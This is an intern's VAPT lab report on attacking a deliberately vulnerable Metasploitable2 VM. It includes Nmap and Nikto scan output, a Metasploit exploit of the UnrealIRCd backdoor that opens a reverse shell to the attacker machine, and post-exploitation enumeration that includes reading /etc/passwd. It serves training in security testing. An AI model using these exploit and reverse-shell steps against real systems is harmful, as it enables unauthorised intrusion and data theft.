VULNERABILITY ASSESSMENT AND PENETRATION TESTING (VAPT) – WEEK 2 REPORT

Prepared by:
Abinaya Radhakrishnan
VAPT Intern

1. Introduction

Vulnerability Assessment and Penetration Testing (VAPT) is a process used to identify security weaknesses in systems, networks, and applications. It helps organizations detect vulnerabilities before attackers can exploit them.

This assessment was conducted in a controlled lab environment using Kali Linux as the attacker machine and Metasploitable2 as the vulnerable target system. Multiple tools were used to perform scanning, reconnaissance, exploitation, and post-exploitation activities.

The objective of this task was to understand the full penetration testing lifecycle and document the findings obtained during the assessment.

2. Theoretical Knowledge

2.1 Vulnerability Scanning Techniques

Vulnerability scanning is used to identify security weaknesses in systems. It helps security professionals detect open ports, outdated software, insecure configurations, and other vulnerabilities.

There are different types of scanning techniques such as network scanning and web application scanning. Network scanning tools like Nmap help identify open ports and services, while web scanners like Nikto help detect vulnerabilities in web servers and web applications.

Security vulnerabilities are often measured using the CVSS scoring system, which helps determine the severity of the risk.

2.2 Penetration Testing Techniques

Penetration testing simulates real-world attacks on systems to evaluate their security posture. It usually follows several stages:

Reconnaissance – gathering information about the target

Scanning – identifying open services and vulnerabilities

Exploitation – attempting to exploit discovered vulnerabilities

Post-Exploitation – maintaining access and collecting system information

Reporting – documenting findings and remediation steps

Frameworks such as PTES and OWASP Web Security Testing Guide are commonly used to guide penetration testing activities.

2.3 Exploit Development Basics

Exploit development focuses on using vulnerabilities to gain unauthorized access to systems. Common types of exploits include buffer overflow attacks, SQL injection, and cross-site scripting (XSS).

Security mechanisms such as patch management, firewalls, and ASLR help protect systems from such attacks.

---

3. Vulnerability Scanning

3.1 Nmap Network Scan

Nmap was used to identify open ports and services running on the Metasploitable2 target machine.

Command used:

nmap -sV 192.168.56.101

The scan revealed multiple open services such as FTP, SSH, Telnet, HTTP, MySQL, PostgreSQL, IRC, and others. These services represent potential attack vectors that can be exploited if vulnerabilities are present.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.56.101
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-02 05:50 -0500
Nmap scan report for 192.168.56.101
Host is up (0.00021s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:C1:84:27 (Oracle VirtualBox virtual NIC)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs
: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.88 seconds
```

Figure 1: Nmap service detection scan identifying open ports and services running on the Metasploitable2 target system.

3.2 Nikto Web Vulnerability Scan

Nikto was used to scan the web server for vulnerabilities and insecure configurations.

Command used:

nikto -h http://192.168.56.101

The scan detected several issues including outdated Apache server versions, directory indexing, missing security headers, and exposed phpinfo() files. These vulnerabilities could allow attackers to gather sensitive system information.

```
Session  Actions  Edit  View  Help
┌──(kali㉿kali)-[~]
└─$ nikto -h http://192.168.56.101
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.56.101
+ Target Hostname:    192.168.56.101
+ Target Port:        80
+ Start Time:         2026-03-02 06:18:24 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web
/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the sit
e in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilitie
s/missing-content-type-header/
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file name
s. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d
15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x bra
nch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community
/attacks/Cross_Site_Tracing
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: Directory indexing found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name
=CVE-1999-0678
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP reques
ts that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP reques
ts that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP reques
ts that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP reques
ts that contain specific QUERY strings. See: OSVDB-12184
+ /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to auth
orized hosts.
+ /phpMyAdmin/ChangeLog: Server may leak inodes via ETags, header found with file /phpMyAdmin/ChangeLog, inode: 924
62, size: 40540, mtime: Tue Dec  9 12:24:00 2008. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authoriz
ed hosts.
+ /test/: Directory indexing found.
+ /test/: This might be interesting.
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system info
rmation. See: CWE-552
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpMyAdmin/: phpMyAdmin directory found.
```

Figure 2: Nikto scan output identifying web server vulnerabilities and insecure configurations.

4. Reconnaissance

4.1 Information Gathering using theHarvester

Reconnaissance is the process of collecting information about the target before performing exploitation. TheHarvester is an OSINT tool used to gather information such as domain names, emails, and hosts related to a target system.

Command used:

theHarvester -d example.com -b dnsdumpster

Although no additional hosts or emails were found during this demonstration, theHarvester illustrates how reconnaissance tools can collect publicly available intelligence.

```
┌──(kali㉿kali)-[~]
└─$ theHarvester -d example.com -b dnsdumpster
Read proxies.yaml from /etc/theHarvester/proxies.yaml
*******************************************************************
*  _   _                                                          *
* | |_| |__   ___    ^  /\__ _ _ ___   ____  __| |_ ___ _ __      *
* | __|  _ \ / _ \  / /_/ / _` | '__\ \ / / _ v __| __/ _ \ '__|  *
* | |_| | | |  __/ / __  / (_| | |   \ v /  __/\__ \ ||  __/ |     *
*  \__|_| |_|\___| v /_/ \__,_|_|    \_/ \___||___/\__\___|_|       *
*                                                                  *
* theHarvester 4.9.2                                               *
* Coded by Christian Martorella                                    *
* Edge-Security Research                                           *
* cmartorella@edge-security.com                                    *
*                                                                  *
*******************************************************************

[*] Target: example.com

Read api-keys.yaml from /etc/theHarvester/api-keys.yaml

[!] Missing API key for DNSDumpster.

[*] No IPs found.

[*] No emails found.

[*] No people found.

[*] No hosts found.
```

Figure 3: theHarvester reconnaissance results showing domain information gathering.

5. Exploitation

5.1 Exploiting UnrealIRCd Backdoor

After scanning the target system, the IRC service running on port 6667 was identified as a potential vulnerability. Metasploit was used to exploit the known backdoor vulnerability in UnrealIRCd.

Exploit module used:

exploit/unix/irc/unreal_ircd_3281_backdoor

After configuring the exploit with the target IP address and payload, the attack was executed. A reverse shell connection was successfully established, giving command-line access to the compromised system.

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6667
RPORT => 6667
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/revers
e
payload => cmd/unix/reverse
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.56.103
LHOST => 192.168.56.103
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP double handler on 192.168.56.103:4444
[*] 192.168.56.101:6667 - Connected to 192.168.56.101:6667 ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname;
using your IP address instead
[*] 192.168.56.101:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo n9CYcyv0dHDTaOZI;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "n9CYcyv0dHDTaOZI\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.56.103:4444 -> 192.168.56.101:602
50) at 2026-03-02 08:16:38 -0500
```

Figure 4: Successful exploitation of the UnrealIRCd backdoor vulnerability using Metasploit.

6. Post-Exploitation

6.1 System Enumeration

After gaining access to the target system, several commands were executed to gather system information and verify user privileges.

Commands used:

id

uname -a

cat /etc/passwd

ps aux

The results confirmed that the attacker had root-level access to the system. This level of access allows complete control of the target machine.

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.1   2844  1692 ?        Ss   12:06   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S<   12:06   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S<   12:06   0:00 [migration/0
]
root         4  0.0  0.0      0     0 ?        S<   12:06   0:00 [ksoftirqd/0
]
root         5  0.0  0.0      0     0 ?        S<   12:06   0:00 [watchdog/0]
root         6  0.0  0.0      0     0 ?        S<   12:06   0:00 [events/0]
root         7  0.0  0.0      0     0 ?        S<   12:06   0:00 [khelper]
```

Figure 5: System enumeration showing user accounts and running processes on the compromised system.

6.2 Evidence Collection and Hash Generation

To demonstrate evidence collection, a sample file was created and hashed using the SHA256 hashing algorithm.

Commands used:

echo "test data" > secret.txt

sha256sum secret.txt

The generated SHA256 hash acts as a unique digital fingerprint that verifies the integrity of the file.

```
echo "test data" > secret.txt
sha256sum secret.txt
0c15e883dee85bb2f3540a47ec58f617a2547117f9096417ba5422268029f501  secret.txt
```

Figure 6: SHA256 hash generation used to verify file integrity during evidence collection.

7. Conclusion

This lab demonstrated the complete VAPT lifecycle including vulnerability scanning, reconnaissance, exploitation, and post-exploitation activities. Using tools such as Nmap, Nikto, theHarvester, and Metasploit, several vulnerabilities were identified and successfully exploited in the Metasploitable2 environment.

The exercise highlights the importance of vulnerability management, secure configurations, and regular security testing to prevent unauthorized system access.